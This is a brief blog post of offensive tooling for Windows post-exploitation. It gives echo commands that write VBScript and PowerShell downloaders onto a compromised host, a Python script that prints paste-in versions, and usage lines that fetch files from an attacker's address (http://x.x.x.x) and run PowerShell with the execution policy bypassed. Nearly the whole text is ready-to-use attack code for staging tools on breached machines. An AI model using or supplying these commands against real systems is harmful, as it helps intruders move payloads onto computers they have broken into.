wget.vbs & wget.ps1

Posted 2020-10-23 安全工搬砖笔记

Wget-like tool for file transfer when do post exploitation.

CODE

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

echo $url = $args[0] > wget.ps1
echo $output = "$($pwd)\$($args[1])" >> wget.ps1
echo $wc = New-Object System.Net.WebClient >> wget.ps1
echo $wc.DownloadFile($url, $output) >> wget.ps1

#! /usr/bin/python

import sys

if len(sys.argv) !=3:
    print "Usage: gen_ps1_wget.py <http_server> <file_to_download>"
    sys.exit(0)
print "\n"
print "Copy and paste the following in to the host:"
print "\n"
print "echo $storageDir = $pwd > wget.ps1"
print "echo $webclient = New-Object System.Net.WebClient >> wget.ps1"
print "echo $url = ‘http://%s/%s‘ >> wget.ps1"%(sys.argv[1],sys.argv[2])
print "echo $file = ‘%s‘ >> wget.ps1" % sys.argv[2]
print "echo $webclient.DownloadFile($url,$file) >> wget.ps1"
print "\n"

USAGE

cscript wget.vbs http://x.x.x.x filename
powershell.exe -ExecutionPolicy bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 http://x.x.x.x filename

from github.com